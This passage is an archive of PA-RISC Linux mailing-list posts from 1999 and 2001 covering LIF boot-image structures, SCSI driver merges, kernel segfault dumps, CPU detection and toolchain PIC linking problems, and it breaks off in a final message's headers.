	id ABABC22907B; Fri, 26 Jan 2001 01:09:19 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:9413


Not that anyone cares, but...

I created lif* utilities for x86 platforms (everything but lifspace()
should be working, so don't go trying to grow directory entries...
I'll work on that some more eventually, along with trying to submit
the sources into the hp-ux source tree for our decendants...

Of course, this led to the discover that PALO doesn't create LIF
images: it creates things that look enough like LIF images to make
the bootloader happy, but inside they are nothing like a LIF image...
(Which I'm sure comes as no surprise to most everyone, since the
objective was never more than that...)

Should someone want to have PALO create an actual LIF image, that would
be kind of cool.

If people would like the x86 LIF utility _BINARIES_, I'll be happy
to send them to you.  Of course, they won't work on any of the current
PALO LIF images, so I'm not sure what use they'd be to anyone.

(If someone wants to tell me I can release the source, then I'll be
happy to do that too, but I'm not going to work on that side of
things, given the above...)

lamont

=================================================================
/*
 * This defines a BCD date in the LIF format.
 * This may fail on some machines due to implementation-dependent
 * ordering of bit fields.  We expect the first byte to contain year1<<4+year2.
 */
struct date_fmt {
	unsigned year1	: 4;
	unsigned year2	: 4;
	unsigned mon1	: 4;
	unsigned mon2	: 4;
	unsigned day1	: 4;
	unsigned day2	: 4;
	unsigned hour1	: 4;
	unsigned hour2	: 4;
	unsigned min1	: 4;
	unsigned min2	: 4;
	unsigned sec1	: 4;
	unsigned sec2	: 4;
};

struct dentry {
	char fname[MAXFILENAME];	/* Name of file */
	short ftype;			/* Type of file or EOD (end-of-dir) */
	int start;			/* Starting sector */
	int size;			/* Size in sectors */
	char date[6];			/* Should be date_fmt, but on
					   some machines
					   date_fmt gets padded to 8 bytes */
	short lastvolnumber;		/* Both lastvolume flag & volume # */
	int extension;			/* Bizarre user-defined field */
};

struct lvol {
	unsigned short discid;		/* 0..65535, must be 0x8000 */
	char volname[MAXVOLNAME];	/* volume name */
	int dstart;			/* directory start, must be > 0 */
	short dummy1;			/* must be 4096 */
	short dummy2;			/* must be 0 */
	int dsize;			/* length of directory, must be > 0 */
	short version;			/* extension level */
	short dummy3;			/* must be 0 */
	int tps;			/* tracks / surface */
	int spm;			/* surface / medium */
	int spt;			/* sector / track */
	char date[6];			/* see dentry.date comment */
	unsigned short reserved1[99];
	int iplstart; 			/* IPL code location on media */
	int ipllength;			/* size of IPL code */
	int iplentry;			/* IPL entry blocksize for spectrum */
	unsigned short reserved[2];     /* 21..127 */
};

struct lfib { 
	int filedis;			/* fd on our LIF volume */
	int dindex;
	int dstart;			/* Where the directory starts */
	int lastsector;
	int dsize;			/* Size of directory */
	char dirpath[MAXDIRPATH];
	char filename[MAXFILENAME+1];
	struct dentry lfile;
	char buffer[HALF_K];
};

struct dpointer {		/* cat entry */
	int sector;   		/* sector */
	int index;    		/* buffer subscript */
	int start;    		/* data start */
};
=================================================================


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linux-2.4.0
Date: Fri, 26 Jan 2001 10:23:28 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20010126102328.E3571@linuxcare.com>
References: <20010126004831.A8137@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619600 11399 80.91.229.3 (22 Nov 2014 01:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: rhirst@linuxcare.com  Fri Jan 26 03:29:37 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA26241
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 03:29:37 -0700
Original-Received: (qmail 14848 invoked by uid 15267); 26 Jan 2001 10:33:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14808 invoked from network); 26 Jan 2001 10:33:31 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 10:33:31 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id CB1C3B005; Fri, 26 Jan 2001 10:23:28 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010126004831.A8137@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Fri, Jan 26, 2001 at 12:48:31AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:9414

On Fri, Jan 26, 2001 at 12:48:31AM +0000, Matthew Wilcox wrote:
> we have large outstanding diffs in the scsi directory -- richard
> volunteered to take care of this.  some other drivers need submitting
> / updating.

We have a new driver sim700.c that drives 53c700 and 53c710; Linus has a
driver sim710.c that drives just 53c710 (also written by me).  I want to
merge those two before submitting, but havn't managed yet.  sim710.c is
used on older Compaq x86 boxes with on-board scsi controllers.  I have
such a machine, but my merged driver had some problems on it.  I plan on
having another go at that.

The other area is ncr53c8xx.c, which I modified to support 53c720 on
Zalon.  I have sent patches to the maintainer and he has agreed to
integrate them - but nothing has happened for a while.  I'll prod
him again.

I see drivers/net/lasi_82596.c got integrated.  I had planned on
merging that with 82596.c sometime, but I guess there is no urgency
now.  82596.c is mostly used on m68k VME boards.

Richard


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sh segfaults
Date: Fri, 26 Jan 2001 13:46:03 +0000
Lines: 80
Approved: news@gmane.org
Message-ID: <20010126134603.G3571@linuxcare.com>
References: <200101260615.WAA23253@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619600 11401 80.91.229.3 (22 Nov 2014 01:26:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:40 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: rhirst@linuxcare.com  Fri Jan 26 06:52:10 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id GAA29059
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 06:52:10 -0700
Original-Received: (qmail 5083 invoked by uid 15267); 26 Jan 2001 13:56:07 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5076 invoked from network); 26 Jan 2001 13:56:06 -0000
Original-Received: from pc188-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.188)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 13:56:06 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id C49D6B005; Fri, 26 Jan 2001 13:46:03 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <200101260615.WAA23253@milano.cup.hp.com>; from grundler@cup.hp.com on Thu, Jan 25, 2001 at 10:15:27PM -0800
Xref: news.gmane.org gmane.linux.ports.parisc:9415

On Thu, Jan 25, 2001 at 10:15:27PM -0800, Grant Grundler wrote:
> 
> Hi all,
> So despite booting our shiny new 2.4.0 kernel fine and being able to rcp
> the sources to attempt a native build, "make oldconfig" consistently
> sees a segfault:
> 
> c3k:/usr/src/linux \<535\>make oldconfig > /dev/null
> 
> do_page_fault() pid=561 command='sh' type=15 address=0x000006e4
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001011
> r0-3     00000000 00000368 000327a3 bb002490
> r4-7     4001399b 00000000 401cf630 401d2fbc
> r8-11    00076d74 00000000 bb002490 000c3110
> r12-15   ffffffff 00000000 00000000 00000001
> r16-19   0000005c 00000000 00000000 401d2fbc
> r20-23   fffff000 400eb63c 0007e498 00000008
> r24-27   00000000 bb002908 00000002 00076808
> r28-31   0000023a 0000002f bb002880 400eb663
> sr0-3    00000368 00000368 00000000 00000368
> sr4-7    00000368 00000368 00000368 00000368
> 
> IASQ: 00000368 00000368 IAOQ: 000327a3 000327a7
>  IIR: 483306f8    ISR: 00000368  IOR: 000006e4
> ORIG_R28: 00000001
> make: *** [oldconfig] Segmentation fault
> c3k:/usr/src/linux \<536\>

On the B180, following cvs update an hour ago, make config gave

do_page_fault() pid=184 command='sh' type=15 address=0x000004ce                                        
                                                                                                       
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                                                  
PSW: 00000000000001001111111100001011                                                                  
r0-3     00000000 00000152 000327a3 bb002450                                                           
r4-7     4001399b 00000000 401cf630 401d2fbc                                                           
r8-11    00076d74 00000000 bb002450 000c3110                                                           
r12-15   ffffffff 00000000 00000000 00000001                                                           
r16-19   0000005c 00000000 00000000 401d2fbc                                                           
r20-23   fffff000 400eb63c 0007e498 00000008                                                           
r24-27   00000000 bb0028c8 00000002 00076808                                                           
r28-31   000000c2 0000002f bb002840 400eb663                                                           
sr0-3    00000152 00000152 00000000 00000152                                                           
sr4-7    00000152 00000152 00000152 00000152                                                           
                                                                                                       
IASQ: 00000152 00000152 IAOQ: 000327a3 000327a7                                                        
 IIR: 483306f8    ISR: 00000152  IOR: 000004ce                                                         
ORIG_R28: 00000001                                                                                     


0x327a0 <command_substitute+756>:       ldw 37c(sr0,r1),r19

Worked on the second, third, fourth attempts.

make dep gave:

make[6]: Entering directory `/build/linux/drivers/media/video'
/build/linux/scripts/mkdep audiochip.h bt848.h bttv-cards.c bttv-driver.c bttv-if.c bttv.h bttvp.h buz.c buz.h bw-qcam.c bw-qcam.h c-qcam.c cpia.c cpia.h cpia_pp.c cpia_usb.c cs8420.h i2c-old.c i2c-parport.c ibmmpeg2.h id.h msp3400.c planb.c planb.h pms.c saa5249.c saa7110.c saa7111.c saa7121.h saa7146.h saa7146reg.h saa7185.c saa7196.h stradis.c tda7432.c tda9875.c tuner-3036.c tuner.c tuner.h tvaudio.c tvaudio.h tvmixer.c videodev.c vino.c zr36057.h zr36060.h zr36120.c zr36120.h zr36120_i2c.c zr36120_mem.c zr36120_mem.h > .depend
make[6]: *** wait: No child processes.  Stop.
make[6]: *** Waiting for unfinished jobs....
make[6]: *** wait: No child processes.  Stop.
make[5]: *** [_sfdep_video] Error 2
make[5]: Leaving directory `/build/linux/drivers/media'
make[4]: *** [fastdep] Error 2
make[4]: Leaving directory `/build/linux/drivers/media'
make[3]: *** [_sfdep_media] Error 2
make[3]: Leaving directory `/build/linux/drivers'
make[2]: *** [fastdep] Error 2
make[2]: Leaving directory `/build/linux/drivers'
make[1]: *** [_sfdep_drivers] Error 2
make[1]: Leaving directory `/build/linux'
make: *** [dep-files] Error 2


What a good time ot go on holiday ;-)

Richard


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dkennedy <dkennedy@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CPU detection wrong
Date: Fri, 26 Jan 2001 12:26:11 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101261223240.3746-100000@localhost.localdomain>
References: <200101260542.VAA23212@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619601 11404 80.91.229.3 (22 Nov 2014 01:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: dkennedy@linuxcare.com  Fri Jan 26 09:21:04 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA30617
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 09:21:04 -0700
Original-Received: (qmail 10065 invoked by uid 15267); 26 Jan 2001 16:25:01 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9922 invoked from network); 26 Jan 2001 16:25:00 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost.linuxcare.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 16:25:00 -0000
Original-Received: by localhost.linuxcare.com (Postfix, from userid 501)
	id 062C52B1; Fri, 26 Jan 2001 12:26:11 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1])
	by localhost.linuxcare.com (Postfix) with ESMTP
	id A07AEABA9; Fri, 26 Jan 2001 12:26:11 -0800 (PST)
X-Sender: dkennedy@localhost.localdomain
In-Reply-To: <200101260542.VAA23212@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9416

On Thu, 25 Jan 2001, Grant Grundler wrote:

> The only way to do that is get regular updates from the maintainer
> of "Appendix B". hmmm...but there are some issues with this. Updates
> *aren't* regular and only "private" versions of the appendix B is
> maintained. The appendix is hand filtered for public consumption to
> exclude products which haven't released yet. So we'll just have to
> keep grinding along like we do now...complain if something shows
> up as "unknown" and it's got a IODC data.

Ya... Also, it's apparently maintained in a human readable format and not 
in an easily extractable format.  As such, it's even harder to have regular
updates.

It is alright though because the list does not change very often and the only
real changes are new machines.  Once we have critical mass (which I believe we
do) and minor adjustments aren't that much of a problem.

-- 
David Kennedy, Technical Account Manager, Linuxcare, Inc.
613.562.9594 tel, 613.562.9304 fax
dkennedy@linuxcare.com, http://www.linuxcare.com/
Linuxcare.  Support for the revolution.



From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] lif volume (correct) structs/values
Date: Fri, 26 Jan 2001 11:08:19 -0700
Lines: 48
Approved: news@gmane.org
Message-ID: <E14MDIJ-0006DJ-00@noam.fc.hp.com>
References: <20010126080919.ABABC22907B@mix.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619601 11405 80.91.229.3 (22 Nov 2014 01:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: LaMont Jones <lamont@security.hp.com>
Original-X-From: bame@fc.hp.com  Fri Jan 26 11:04:25 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA31611
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 11:04:24 -0700
Original-Received: (qmail 30165 invoked by uid 15267); 26 Jan 2001 18:08:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30146 invoked from network); 26 Jan 2001 18:08:20 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 18:08:20 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP id 6A4D06BF
	for <parisc-linux@thepuffingroup.com>; Fri, 26 Jan 2001 13:08:20 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id LAA14304;
	Fri, 26 Jan 2001 11:08:19 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14MDIJ-0006DJ-00; Fri, 26 Jan 2001 11:08:19 -0700
In-Reply-To: Your message of "Fri, 26 Jan 2001 01:09:19 MST."
             <20010126080919.ABABC22907B@mix.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9417

= Of course, this led to the discover that PALO doesn't create LIF
= images: it creates things that look enough like LIF images to make
= the bootloader happy, but inside they are nothing like a LIF image...
= (Which I'm sure comes as no surprise to most everyone, since the
= objective was never more than that...)
= 
= Should someone want to have PALO create an actual LIF image, that would
= be kind of cool.

I started trying to implement LIF since I was familiar with it from
9000/[234]00 days and I thought it would be cool to be compatible in
some way with HP-format disks.  Then I discovered:

    1) The boot firmware doesn't care that it's boot image is LIF,
    	only that 2 bytes look like LIF.

    2) The boot firmware takes no advantage of LIF -- it uses special
       values stuffed into a magic piece of the LIF header -- which
       requires special code in the LIF tools.  It doesn't even use
       the LIF directory to locate the boot loader on the media.

    3) Wasn't sure LIF format disks could also be DOS-partitioned
       disks.  DOS-partitioned is clunky and old fashioned, but gets
       us ready-made tools, ready-made kernel file-system code, easy
       disk sharing/building with x86, and compatibility with IA64.

Later I learned:

    4) Because our kernel isn't unity-mapped like HP-UX, the HP-UX
       secondary boot loader (ISL aka Mongoose) couldn't load our old
       SOM kernels unless their headers were mangled first.

    5) Mongoose can't load ELF32.  Though a suitable ELF32->SOM converter
       would be fairly easy to write I think, it's more work.

So I feel good about cancelling LIF as our disk and "boot sector" layout.
Where LIF becomes interesting again to me is as a possible compatibility
step for mounting HP-UX-formatted disks.  However I think even there the
critical volume description information is in (proprietary?) tables which
happen to live within LIF space, but at fixed locations so the LIF
is inconsequential and not used by the partition/volume/file-system
code in HP-UX, even to discover the table location.  We could probably
get HP-UX disk compatibility without understanding LIF.

There is an experimental LIF file system for Linux if we want to port it.

	-P


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 improvements, problems
Date: Fri, 26 Jan 2001 12:16:29 -0600 (CST)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101261205420.31352-100000@maestro.symsys.com>
References: <20010125173637.R3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619601 11411 80.91.229.3 (22 Nov 2014 01:26:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:41 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: ingram@symsys.com  Fri Jan 26 11:12:39 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA31786
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 11:12:39 -0700
Original-Received: (qmail 11827 invoked by uid 15267); 26 Jan 2001 18:16:36 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11816 invoked from network); 26 Jan 2001 18:16:36 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 18:16:36 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id MAA31444;
	Fri, 26 Jan 2001 12:16:29 -0600
In-Reply-To: <20010125173637.R3571@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9418

On Thu, 25 Jan 2001, Richard Hirst wrote:

> On Thu, Jan 25, 2001 at 11:33:07AM -0600, Greg Ingram wrote:
> > o  I still have trouble with unligned data references.  I've discovered
> > that in addition to tar and make, sleep and nscd also produce this error.
> 
> Sounds like the libpthreads problem, for which a new glibc is being
> built.

Standing by.  Eagerly.  I'd like to see this crate try to roll its own
kernel.
 
> > more works fine.  I can mount the ext2 partition and run more from there.  
> > But when the SCSI disk is root, more page faults. Here's some kernel
> > messages:
> 
> There is a bug in more (really!), now fixed, but needs a rebuild.  If you
> invoke it as /bin/more you'll be ok.

I believe it, I just don't believe it.  Is this related to stack
direction?  (What is it: grows down on parisc but up on Intel and most
other Linux-supported processors?)  If so, what is more fiddling with on
its stack?  Does it alter its behavior based on argv[0]?  Oh well, not
really too important now, I guess.

- Greg


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Ingram <ingram@symsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C100 report, latest CVS bits
Date: Fri, 26 Jan 2001 12:17:49 -0600 (CST)
Lines: 10
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0101261203480.31352-100000@maestro.symsys.com>
References: <20010125174202.F25242@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619602 11415 80.91.229.3 (22 Nov 2014 01:26:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:42 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: ingram@symsys.com  Fri Jan 26 11:13:53 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA31894
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 Jan 2001 11:13:52 -0700
Original-Received: (qmail 13739 invoked by uid 15267); 26 Jan 2001 18:17:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13719 invoked from network); 26 Jan 2001 18:17:49 -0000
Original-Received: from maestro.symsys.com (root@208.223.9.37)
  by mailserv2.iuinc.com with SMTP; 26 Jan 2001 18:17:49 -0000
Original-Received: from localhost (ingram@localhost)
	by maestro.symsys.com (8.9.3/8.9.3) with ESMTP id MAA31458
	for <parisc-linux@thepuffingroup.com>; Fri, 26 Jan 2001 12:17:49 -0600
In-Reply-To: <20010125174202.F25242@parcelfarce.linux.theplanet.co.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9419


Just wanted to report that I did a CVS update this morning, built and
booted a good kernel.  It's nice to see:

	# uname -a
	Linux apollos 2.4.0 #7 Fri Jan 26 10:52:17 CST 2001 parisc unknown

- Greg



From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Building the Bootloader
Date: Wed, 2 Jun 1999 10:45:30 -0400 (EDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <199906021445.KAA18532@hiauly1.hia.nrc.ca>
References: <199906012135.RAA26921@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619602 11421 80.91.229.3 (22 Nov 2014 01:26:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:42 +0000 (UTC)
Cc: jason@equator.com, prumpf@suse.de, cjbeard@istar.ca,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Jun  2 11:39:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id LAA12273
	for <parisc-linux@puffin.external.hp.com>; Wed, 2 Jun 1999 11:39:45 -0600
Original-Received: (qmail 24278 invoked by uid 15267); 2 Jun 1999 17:39:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24263 invoked from network); 2 Jun 1999 17:39:41 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 2 Jun 1999 17:39:41 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id KAA18532;
	Wed, 2 Jun 1999 10:45:30 -0400 (EDT)
In-Reply-To: <199906012135.RAA26921@hiauly1.hia.nrc.ca> from "John David Anglin" at Jun 1, 99 05:35:59 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9420

> It is not obvious to me that the C code is position independent.
> 
> >   The specific combination of flags allowed me to get something resembling
> >   a straight binary image (by ignoring the header) and position independence.
> >   For some reason I can't remember now, -fpic didn't get the job done
> >   (perhaps a compiler defect).
> 
> When -fpic is used, $global$ is not used as an offset to access data
> variables.  Gnu ld doesn't seem to like $global$ not being used:
> 
> 624 (hiauly1)dave> make
> hppa-linux-as                  ipl_s.s -o ipl_s.o
> ipl_s.s: Assembler messages:
> ipl_s.s:65: Warning: Ignoring subspace decl due to ELF BFD bugs.
> ipl_s.s:68: Warning: Ignoring subspace decl due to ELF BFD bugs.
> ipl_s.s:83: Warning: Ignoring subspace decl due to ELF BFD bugs.
> ipl_s.s:243: Warning: Ignoring subspace decl due to ELF BFD bugs.
> hppa-linux-gcc           -fwritable-strings -mdisable-fpregs -fpic -c ipl_c.c
> hppa-linux-gcc           -fwritable-strings -mdisable-fpregs -fpic -c rom_interf
> ace.c
> hppa-linux-ld                  -Ttext 0 -N ipl_s.o ipl_c.o rom_interface.o -L/eh
> ic/a/lib/gcc-lib/hppa-linux/egcs-2.91.60 -lgcc -o ipl
> ipl_c.o: In function `IPL_main':
> ipl_c.o($CODE$+0x60): undefined reference to `$global$'
> make: *** [ipl] Error 1

Here are Jeff Law's comments on using elf32-hppa with PIC:


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey A Law <law@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: elf32-hppa bfd: $global$ and -fpic
Date: Tue, 01 Jun 1999 18:13:23 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <5400.928282403@upchuck.cygnus.com>
References: <199906012242.SAA27523@hiauly1.hia.nrc.ca>
Reply-To: law@cygnus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619602 11426 80.91.229.3 (22 Nov 2014 01:26:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:42 +0000 (UTC)
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: law@upchuck.cygnus.com Tue Jun  1 20:17:54 EDT 1999
Original-Received: from upchuck.cygnus.com ([208.224.120.150])
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) with ESMTP id UAA11151
	for <dave@hiauly1.hia.nrc.ca>; Tue, 1 Jun 1999 20:17:53 -0400 (EDT)
Original-Received: from upchuck.cygnus.com (220@localhost [127.0.0.1])
	by upchuck.cygnus.com (8.8.7/8.8.7) with ESMTP id SAA05403
	for <dave@hiauly1.hia.nrc.ca>; Tue, 1 Jun 1999 18:13:24 -0600
X-Mailer: exmh version 2.0.2
In-reply-to: Your message of Tue, 01 Jun 1999 18:42:27 EDT.
             <199906012242.SAA27523@hiauly1.hia.nrc.ca> 
Status: RO
Xref: news.gmane.org gmane.linux.ports.parisc:9421


  In message <199906012242.SAA27523@hiauly1.hia.nrc.ca>you write:
  > Hi Jeff,
  > 
  > The following happens when linking pic code (see below): undefined referenc
  > e
  > to `$global$'.  The problem seems to occur in elf32-hppa.c when $global$ is
  > not found (see code in elf32_hppa_bfd_final_link_relocate).  Do you see an
  > easy solution to handle gcc pic code which does not use $global$?
The existing elf32-hppa tools are not PIC aware or PIC compatible and are
totally inappropriate for just about any work you might be trying to do.  Do
not try to use them, they'll only make your life miserable.  That code is going
to be 100% totally trashed and started over.

jeff

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jane Vinet <jvinet@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] http://parisc-linux.org/ - A New Look!
Date: Fri, 26 Jan 2001 15:10:31 -0500
Organization: Linuxcare
Lines: 54
Approved: news@gmane.org
Message-ID: <3A71D9B7.D582ECD2@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
